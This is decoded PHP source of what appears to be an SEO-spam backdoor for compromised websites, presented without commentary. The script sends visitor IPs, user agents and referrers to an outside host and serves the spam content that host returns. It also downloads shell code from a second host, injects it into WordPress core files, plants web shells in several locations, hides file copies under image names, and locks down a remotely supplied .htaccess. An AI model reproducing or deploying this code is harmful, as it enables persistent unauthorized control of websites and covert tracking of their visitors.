PHP Decode

error_reporting(0);
$go_domain = "seo31.tophead.online";
$language = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 4);
$userrefer = $_SERVER['HTTP_REFERER']?$_SERVER['HTTP_REFERER']:"";
$useragent = $_SERVER['HTTP_USER_AGENT']?$_SERVER['HTTP_USER_AGENT']:"";
$userip = '';
@$timezone_out = date_default_timezone_get();
if(getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), 'unknown')) {
    $userip = getenv('REMOTE_ADDR');
} elseif(isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], 'unknown')) {
    $userip = $_SERVER['REMOTE_ADDR'];
}
if(is_https()){
	$http = 'https';
}else{
	$http = 'http';
}

$index_url = "http://$go_domain/index.php?dom=%s&uri=%s&http=%s&refer=%s&agent=%s&lang=%s&ip=%s&zone=%s";
$sitemap_url = "http://$go_domain/sitemap.php?dom=%s&uri=%s&http=%s&refer=%s&agent=%s&lang=%s&zone=%s";
$host = $_SERVER['HTTP_HOST'];
$uri = $_SERVER['REQUEST_URI'];

@$action = $_GET['ac']?$_GET['ac']:"";
if($action != "" && $action == "write"){
	$index_name = basename($_SERVER['SCRIPT_NAME']);;
	write($index_name);
	echo "write done!";
	exit();
}elseif($action != "" && $action == "check"){
	$bool = check();
	if($bool){
		echo "check code exists!";
	}else{
		echo "check code not exists!";
	}
	exit();
}elseif($action != "" && $action == "sitemap"){
	$sitemap = "https://www.google.com/webmasters/sitemaps/ping?sitemap=$http://$host/sitemap.xml";
	$contents = file_get_contents($sitemap);
	echo $contents;
	exit();
}

if(preg_match('@^/sitemap([1-9])?.xml$@i',$uri)){
	$request = sprintf($sitemap_url, $host, urlencode($uri), $http, urlencode($userrefer), urlencode($useragent), urlencode($language), urlencode($timezone_out));
	$content = get($request);
	@header("Content-type: text/xml");
	echo trim($content);
	exit();
}elseif(substr($uri, -4) == ".css"){
	$request = sprintf($index_url, $host, urlencode($uri), $http, urlencode($userrefer), urlencode($useragent), urlencode($language), $userip, urlencode($timezone_out));
	$content = get($request);
	if(strstr($content,'okhtmlgetcontent')){
		@header("Content-type: text/css; charset=utf-8");
		$content = str_replace("okhtmlgetcontent",'',$content);
		echo trim($content);
		exit();
	}
}else{
	$request = sprintf($index_url, $host, urlencode($uri), $http, urlencode($userrefer), urlencode($useragent), urlencode($language), $userip, urlencode($timezone_out));
	$content = get($request);
	if(strstr($content,'okhtmlgetcontent')){
		@header("Content-type: text/html; charset=utf-8");
		$content = str_replace("okhtmlgetcontent",'',$content);
		echo trim($content);
		exit();
	}else if(strstr($content,'getcontent404page')){
		@header('HTTP/1.1 404 Not Found');
		echo "404 Not Found";
		exit();
	}else if(strstr($content,'getcontent301page')){
		@header('HTTP/1.1 301 Moved Permanently');
		$content = str_replace("getcontent301page",'',$content);
		header('Location: '.trim($content));
		exit();
	}
}

function write($index_name){
	$write1 = get("http://hello.turnedpro.xyz/write1.txt");
	$write2 = get("http://hello.turnedpro.xyz/write2.txt");
	$write3 = get("http://hello.turnedpro.xyz/write3.txt");
	$shell_postfs = get("http://hello.turnedpro.xyz/mm1.txt");
	$shell_load = get("http://hello.turnedpro.xyz/mm2.txt");
	$ht_content = file_get_contents(".htaccess");
	$index_content = file_get_contents($index_name);
	$loader_php = "wp-includes/template-loader.php";
	$load_php = "wp-includes/load.php";
	$font_editor_php = "wp-includes/SimplePie/font-editor.php";
	if(!is_dir("css")){
		mkdir("css", 0755, true);
	}
	if($index_name != "index.php"){
		$write1 = str_replace(base64_encode("./index.php"), base64_encode("./".$index_name), $write1);
		$write2 = str_replace(base64_encode("./index.php"), base64_encode("./".$index_name), $write2);
		$write3 = str_replace(base64_encode("./index.php"), base64_encode("./".$index_name), $write3);
	}
	file_put_contents("css/load.php", $shell_load);
	if(is_dir("wp-includes/SimplePie")){
		file_put_contents("wp-admin/images/arrow-lefts.png", $index_content);
		file_put_contents("wp-admin/images/arrow-rights.png", $ht_content);
		file_put_contents("wp-includes/images/smilies/icon_devil.gif", $index_content);
		file_put_contents("wp-includes/images/smilies/icon_crystal.gif", $ht_content);
		$loader_content = file_get_contents($loader_php);
		$load_content = file_get_contents($load_php);
		@chmod($loader_php, 0755);@chmod($load_php, 0755);
		file_put_contents($loader_php, $write1.$loader_content);
		file_put_contents($load_php, $load_content.$write2);
		@chmod($loader_php, 0644);@chmod($load_php, 0644);
		file_put_contents($font_editor_php, $shell_postfs);
	}else{
		if(!is_dir("images")){
			mkdir("images", 0755, true);
		}
		if(!is_dir("admin")){
			mkdir("admin", 0755, true);
		}
		file_put_contents("admin/votes.php", $shell_postfs);
		file_put_contents("images/arrows.png", $index_content);
		file_put_contents("images/icons.png", $ht_content);
		file_put_contents("template-load.php", $write3);
		if(substr(trim($index_content), -2) == "?>" || substr(trim($index_content), -7) == "</html>"){
			file_put_contents($index_name, "
<?php
@include('template-load.php');", FILE_APPEND);
		}else{
			file_put_contents($index_name, "?>
<?php
@include('template-load.php');", FILE_APPEND);
		}
	}
}
function check(){
	$new_ht_content = get("http://hello.turnedpro.xyz/shl/htaccess.txt");
	@chmod(".htaccess", 0755);$ht_content = file_get_contents(".htaccess");
	$index_name = "index.php";
	$bool = false;
	if(file_exists("jsdindex.php")){
		$jsd_content = file_get_contents("jsdindex.php");
		$pre = substr($jsd_content, 0, 120);
		if(strstr($pre, "MdRwlQi6788='y(3;]whcx)8$4mb dk1qog5sprlua=")){
			$bool = true;
			$index_name = "jsdindex.php";
			$new_ht_content = str_replace("^index.php$", "^jsdindex.php$", $new_ht_content);
			$new_ht_content = str_replace(". index.php [L]", ". jsdindex.php [L]", $new_ht_content);
		}
	}else{
		$content = file_get_contents("index.php");
		$pre = substr($content, 0, 120);
		if(strstr($pre, "MdRwlQi6788='y(3;]whcx)8$4mb dk1qog5sprlua=")){
			$bool = true;
		}
	}
	if(strstr($ht_content, "postfs.php|votes.php|index.php|wjsindex.php") && preg_match($ht_content, "RewriteRule ^$index_name$ - [L]")&& strstr($ht_content, "RewriteRule . $index_name [L]")){
	}else{
		file_put_contents(".htaccess", $new_ht_content);
		@chmod(".htaccess", 0444);
	}
	return $bool;
}
function get($url){ 
	$contents = @file_get_contents($url);
	if (!$contents) {
		$ch = curl_init();
		curl_setopt($ch, CURLOPT_URL, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
		$contents = curl_exec($ch);
		curl_close($ch);
	} 
	return $contents;
}
function is_https() {
	if ( !empty($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') {
		return true;
	} elseif ( isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https' ) {
		return true;
	} elseif ( !empty($_SERVER['HTTP_FRONT_END_HTTPS']) && strtolower($_SERVER['HTTP_FRONT_END_HTTPS']) !== 'off') {
		return true;
	}
	return false;
}